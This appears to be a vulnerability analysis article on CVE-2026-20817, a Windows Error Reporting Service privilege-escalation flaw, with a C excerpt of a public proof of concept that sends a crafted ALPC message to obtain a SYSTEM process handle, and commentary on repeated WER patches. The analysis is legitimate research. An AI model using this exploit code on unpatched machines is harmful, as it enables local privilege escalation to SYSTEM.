Microsoft has shipped thirty-two Windows Error Reporting elevation-of-privilege CVEs between 2019 and 2025. CVE-2026-20817 is the thirty-third. The dispatcher inside WerSvc that decides whether a caller may spawn C:\Windows\System32\WerFault.exe as SYSTEM, in the path the public PoC triggers, runs one check before doing it: a four-byte field on the inbound ALPC message must equal 1. The PoC's own author labelled the field in their struct definition: Unknown : 1 ElevatedProcessStart gate.
CVE-2026-20817: WerSvc's Thirty-Third Elevation Gate Is A Four-Byte Field The Caller Writes.
vendor
patterns
cve
proof of concept
WerSvc's job is to spawn SYSTEM processes for callers
The Windows Error Reporting Service runs inside svchost.exe as NT AUTHORITY\SYSTEM. Its public interface is an ALPC port named \WindowsErrorReportingServicePort. The port accepts connections from any caller on the same machine; the published PoC connects to it as Medium-integrity with no special token, no admin group, no impersonation privilege.
The service's day job, when a process on the machine crashes or asks for a dump, is to launch WerFault.exe as SYSTEM. WerFault.exe is the user-mode crash handler: it generates the minidump, posts to the WER infrastructure, and runs the failure UI. The capability has to be privileged. A crashing Medium-IL or Low-IL process cannot open its own SYSTEM-owned siblings, and the dump path runs through a process that can. WerSvc has SYSTEM-launch as its job description.
That asymmetry is the substrate. The service's intended callers are crashing processes and the kernel's exception path. The service's actual callers are anything on the machine that can write bytes to an ALPC port.
The dispatch path
The PoC connects, builds a 0x578-byte WERSVC_MSG, and sends it via NtAlpcSendWaitReceivePort. The dispatcher inside WerSvc routes by MessageFlags, the first dword after the ALPC PORT_MESSAGE header, at offset +0x28 on the message body. The PoC sets it to 0x50000000, and labels the case in a comment derived from reverse engineering:
INF("MessageFlags : 0x%08X DispatchPortRequestWorkItem case SvcElevatedLaunch",
msgSend.MessageFlags);DispatchPortRequestWorkItem is WerSvc's request switch. SvcElevatedLaunch is the case that wraps ElevatedProcessStart. ElevatedProcessStart is the function that eventually calls CreateProcessAsUserW(LocalSystem, "C:\Windows\System32\WerFault.exe", <caller_cmdline>). The caller's cmdline does not travel inline on the ALPC message; the message carries a HANDLE FileMapping at offset +0x38, and the server maps 0x208 bytes (260 wide chars, exactly MAX_PATH) out of the caller's section into its own address space and reads the cmdline out of there.
The arrangement is, in isolation, defensible. WerSvc receives a request, looks at the section handle the caller passed, maps it, builds a process. That is what a service designed to spawn WerFault.exe on behalf of a faulting process needs to be able to do.
The gate is a four-byte field
Between SvcElevatedLaunch and ElevatedProcessStart, in the dispatch path the PoC exercises, is the check that decides whether to allow the elevation. The PoC names it in a comment, one line below the dispatch label:
INF("Unknown : %lu ElevatedProcessStart gate",
msgSend.Unknown);Unknown is a 32-bit field at offset +0x30 on the WERSVC_MSG struct. The PoC sets it to 1. The handler reads it. Setting it to 1 opens the gate to ElevatedProcessStart. There is no impersonation check on the request thread, no ImpersonateClientOfPort followed by a CheckTokenMembership, no RtlQueryElevationFlags, no caller-SID test against an allowed list. The dispatcher already knew the caller could send messages because the ALPC subsystem accepted the connection. The SvcElevatedLaunch handler treats reachability and a correct Unknown value as authorization to elevate the request.
CWE-280, the weakness Microsoft assigned the CVE, is named "Improper Handling of Insufficient Permissions or Privileges." That is vendor grammar for: the handler did the privileged thing without checking whether the caller was allowed to ask. The check the January 2026 patch adds is the check the dispatcher should have made since the dispatch case shipped.
The full primitive, end to end
The PoC sends, in order:
// 1. Connect. No special privileges required.
NTSTATUS st = NtAlpcConnectPort(&hPort,
&portName, // L"\\WindowsErrorReportingServicePort"
NULL, // ObjectAttributes
&portAttribs, // ALPC_PORTFLG_ALLOW_LPC_REQUESTS | SecurityImpersonation
0x20000, // Flags
NULL, // RequiredServerSid
NULL, NULL, NULL, NULL, NULL);
// 2. Carry the cmdline in a section handle. The server reads MAX_PATH wide chars.
HANDLE hMap = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL,
PAGE_READWRITE, 0, 0x208, NULL);
void* pView = MapViewOfFile(hMap, FILE_MAP_WRITE, 0, 0, 0x208);
wcsncpy_s((wchar_t*)pView, 260, args, _TRUNCATE);
// 3. Build the message. MessageFlags routes; Unknown gates.
WERSVC_MSG msgSend = {};
msgSend.PortMessage.u1.s1.TotalLength = sizeof(WERSVC_MSG); // 0x578
msgSend.PortMessage.u1.s1.DataLength = sizeof(WERSVC_MSG) - sizeof(PORT_MESSAGE);
msgSend.MessageFlags = 0x50000000; // SvcElevatedLaunch
msgSend.Unknown = 1; // ElevatedProcessStart gate
msgSend.FileMapping = hMap;
// 4. Send. The server runs ElevatedProcessStart and writes the spawned
// process handle back to the response message at offset +0xC8.
st = NtAlpcSendWaitReceivePort(hPort, 0x20000,
&msgSend, NULL, &msgRecv, &recvLen, NULL, NULL);The PoC then opens msgRecv.NewProcessHandle (offset +0xC8 on the response) to verify what it was just given:
[*] Caller : <DOMAIN>\<user> [Medium] PID <n>
[+] NewProcessHandle : 0x000002...
[+] Spawned process : NT AUTHORITY\SYSTEM [System]The Medium-integrity caller now holds a process handle to a SYSTEM-integrity child the service duplicated into its address space. The cmdline written into the section is L"duongdeptrai123", which WerFault.exe rejects on entry and the process exits. The primitive does not depend on that placeholder running. It depends on the caller's chosen cmdline reaching CreateProcessAsUserW(LocalSystem, ...) with the integrity of the caller's WERSVC_MSG.FileMapping. WerFault.exe's own argument surface, the -u, -p, -pss, -i, -runas, -LCID switches the program parses at entry, is the second stage. It is a documented surface. The PoC's author shipped step one and stopped at a Vietnamese placeholder string; the code to continue is the code every prior WerSvc EoP weaponizer had to write.
Thirty-third
WER's EoP rhythm is one of the clearest design-debt-driver cases in the Windows component graph. CVE counts of elevation-of-privilege bugs against Windows Error Reporting, by year:
| Year | Count | CVEs |
|---|---|---|
| 2019 | 6 | CVE-2019-0863, -1037, -1315, -1319, -1339, -1342 |
| 2020 | 16 | CVE-2020-0678, -0753, -0754, -0772, -0806, -1021, -1082, -1088, -1132, -1197, -1234, -1429, -16895, -16905, -16909, -17007 |
| 2021 | 1 | CVE-2021-24090 |
| 2022 | 2 | CVE-2022-35795, -44669 |
| 2023 | 4 | CVE-2023-21558, -28221, -36874, -36721 |
| 2024 | 1 | CVE-2024-26169 |
| 2025 | 2 | CVE-2025-55692, -55694 |
| 2026 | 1 (so far) | CVE-2026-20817 |
Thirty-two prior EoPs across seven years, sustained at approximately one per quarter. Every patch closes a route. Hard-link traversals (CVE-2019-1315, -1339, CVE-2020-0678, -1132). Process-crash handling races (CVE-2020-1197, -1429, -16895). File-replacement checks (CVE-2019-0863, -1037, -1319). The path-canonicalization gap that made the rounds in 2023 (CVE-2023-36874, Filip Dragović). Improper input validation in 2025 (CVE-2025-55692). Improper access control on a sibling dispatch the same month (CVE-2025-55694). Each diff is a specific gate Microsoft tightened. None of them is the architecture.
This is the design-debt-driver pattern made concrete: the substrate, a SYSTEM service whose interface launches SYSTEM processes on behalf of arbitrary local callers, is the bug. The patches are the maintenance bill. CVE-2026-20817 is route thirty-three through the same component, and the dispatcher's switch table still has cases nobody has audited as carefully as SvcElevatedLaunch.
The patch is the roadmap
CVE-2026-20817 was published on January 13, 2026, the January Patch Tuesday. The PoC at dwgth4i/CVE-2026-20817 was first published on May 28, 2026. The gap is four and a half months. The author's other repositories include RPCServerFinding, a tool published in December 2025 to enumerate Windows RPC servers and flag ones reachable for LPE primitives. The work timeline is legible: enumerate the surface, wait for Patch Tuesday to advertise which case got fixed, diff wer.dll against the prior build, find the added permission check, reconstruct the pre-patch primitive.
That cycle is built into the design-debt-driver substrate. Every Patch Tuesday that includes a WER EoP fix tells anyone reading the cumulative update which dispatch case had a missing check. The diff is the spec for the next quarter's PoC. The substrate produces both the bug and the disclosure signal that points back at it. Defenders patch the route; the maintenance bill keeps rolling.
Defender's hands, smaller surface
WerSvc fits the security-tool-as-primitive pattern the way most Windows privileged helpers do: the defensive mission is what granted the component its privileges. Crash reporting is part of the operating system's failure-handling and telemetry stack. Microsoft has to launch WerFault.exe as SYSTEM to dump processes the caller cannot inspect, post to Online Crash Analysis, and run the user-facing failure UI. The service has SYSTEM-launch because the job requires it.
The Defender precedent shows the same shape with more deployment footprint. Windows Defender's remediation path was steered into writing arbitrary content as SYSTEM because Defender needs the primitive to remove malicious files at the kernel level. The primitive Defender requires to delete a malicious file is the same primitive an attacker needs to write their own. WerSvc has the same arrangement with a narrower surface: the primitive WerSvc needs to launch WerFault.exe for a crashing process is the same primitive an attacker needs to launch WerFault.exe as SYSTEM with arguments of their choosing. Same CreateProcessAsUserW. Different caller. The dispatcher cannot tell which without checking, and on the case the PoC triggers, the dispatcher does not check.
The trust model the operating system relies on for WerSvc is that callers reaching the ALPC port are crashing processes asking for legitimate dumps. That model is documentation. The runtime, on the unpatched dispatch case, is: the caller wrote MessageFlags = 0x50000000 and Unknown = 1, so elevate.
The dispatch case is still there. The service is still SYSTEM. The port is still reachable. The next switch case nobody audited is the thirty-fourth.